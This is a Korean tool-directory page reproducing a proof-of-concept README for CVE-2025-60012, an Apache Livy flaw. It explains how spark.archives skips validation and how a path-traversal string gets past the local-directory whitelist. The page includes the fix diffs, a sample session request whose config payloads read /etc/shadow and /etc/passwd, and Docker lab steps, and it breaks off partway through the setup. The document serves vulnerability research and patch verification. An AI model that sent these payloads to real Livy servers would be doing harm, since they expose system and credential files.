Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-60012-POC — Apache Livy Unauthorized File Access Vunerability에 대한 POC | Kitploit
도구/GitHubGitHub/sid6224/cve-2025-60012-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCloud SecurityLearning & EducationLabs & Practice
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

Apache Livy Unauthorized File Access Vunerability에 대한 POC

저장소 보기
157개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

교육 및 보안 연구 목적으로만 사용하십시오. 귀하가 소유하지 않거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오. → 전체 면책 조항

CVE-2025-60012 — Apache Livy 무단 파일 접근

CVE Livy Severity CWE Type License Platform Language

개요

필드세부 정보
CVE IDCVE-2025-60012
심각도중간 (CVSS 6.3)
영향을 받는 버전Apache Livy 0.7.0-incubating, 0.8.0-incubating — Apache Spark 3.1 이상에 연결된 경우
수정 버전Apache Livy 0.9.0-incubating
CWECWE-20: 부적절한 입력 검증
공개일2026-03-13
보고자Furue Hideyuki

취약점 설명

Livy의 REST 또는 JDBC 인터페이스에 접근할 수 있는 인증된 사용자가 조작된 구성 값으로 Spark 세션 또는 배치 작업을 제출할 수 있습니다. 두 가지 취약점이 결합되어 공격자가 허용된 경로 외부의 로컬 파일 시스템 파일을 참조할 수 있게 합니다.

  1. spark.archives에 대한 검증 누락 — Spark 3.1은 모든 클러스터 관리자에서 아카이브 파일을 배포하는 통합 방법으로 spark.archives를 도입했습니다. Livy 0.8.0의 경로 검증 대상 구성 키 하드코딩 목록(HARDCODED_SPARK_FILE_LISTS)에는 spark.archives가 포함되어 있지 않습니다. 따라서 이 키를 통해 전달된 경로는 로컬 파일 시스템 허용 목록(livy.file.local-dir-whitelist)에 대해 검사되지 않으므로 공격자가 모든 로컬 파일을 참조할 수 있습니다.

  2. 허용 목록 검사의 경로 탐색 우회 — 검증되는 구성 키의 경우에도 Livy 0.8.0의 허용 목록 비교는 원시 경로에 대한 일반 Java String startsWith 호출을 사용합니다. 공격자는 경로 탐색을 사용하여 이를 우회할 수 있습니다. /whitelisted/dir/../../etc/passwd는 문자열 검사를 통과하지만 허용된 디렉토리 외부로 해석됩니다.

영향을 받는 소스 파일

파일 1 — LivyConf.scala

취약 버전 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

수정 버전 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

파일 2 — Session.scala

취약 버전 (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

수정 버전 (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

소스 코드 — 클론 명령어

두 버전 모두 공식 Apache Livy GitHub 저장소에서 다음 정확한 명령어를 사용하여 이 워크스페이스로 직접 클론되었습니다:

저장소: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

| 버전 | 태그 | 해결된 커밋 | 로컬 경로 |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## 정확한 코드 차이점

차이점은 두 태그를 로컬에서 클론하고(위 참조) 다음을 실행하여 생성되었습니다:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

수정 1 — LivyConf.scala: spark.archives 하드코딩된 파일 목록에 추가됨```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
**v0.8.0에서 누락된 항목의 영향:**
사용자가 `conf: {"spark.archives": "file:///etc/passwd"}`로 세션을 제출하면 Livy
0.8.0은 해당 값에 대해 `resolveURIs()`를 호출하지 않으며 `livy.file.local-dir-whitelist`에 대해 검사하지 않습니다.
이 경로는 검증되지 않은 상태로 Spark에 전달됩니다.

---

### Fix 2 — `Session.scala`: 허용 목록 검사 전 경로 정규화```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

v0.8.0의 영향: 원시 문자열 startsWith 검사가 경로 탐색 페이로드를 통해 우회될 수 있습니다.

예: livy.file.local-dir-whitelist = /opt/safe-data인 경우``` /opt/safe-data/../../../etc/passwd

- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (우회됨)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (차단됨)

## 공격 벡터 요약```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

테스트 환경

구성 요소세부 사항
호스트 OSUbuntu 24.04.4 LTS (Noble Numbat)
커널6.17.0-14-generic x86_64
아키텍처x86_64
총 메모리15.49 GiB
Docker 엔진28.2.2
호스트 JDKOpenJDK 17.0.18 (호스트 전용 — 컨테이너는 eclipse-temurin:11-jdk-focal 사용)
컨테이너 기본 이미지eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Spark 버전 (두 이미지 모두)3.1.3 with Hadoop 3.2
Livy 버전 — 취약 이미지0.8.0-incubating (Scala 2.12 build)
Livy 버전 — 수정 이미지0.9.0-incubating (Scala 2.12 build)

저장소 구조```

. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

---

## 개념 증명

### 개요```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

전체 종단 간 시퀀스 — 1단계부터 4단계까지 순서대로 따르십시오:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

> **참고:** `docker run` 후 Livy가 준비되기까지 약 15~20초가 소요됩니다.
> 아래 모든 단계에는 API 호출 전에 명시적인 `sleep 20`이 포함되어 있습니다.

---

### 1단계 — 취약 환경 구축 및 시작 (Livy 0.8.0 + Spark 3.1.3)

**파일:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — `0.0.0.0:8998`에 바인딩, 로컬 모드, 화이트리스트 = `/opt/safe-data`

**1a. 이미지 빌드:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

검증 — 이미지가 생성되었습니다:```bash docker images cve-2025-60012-vulnerable

예상 출력:```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

도구 다운로드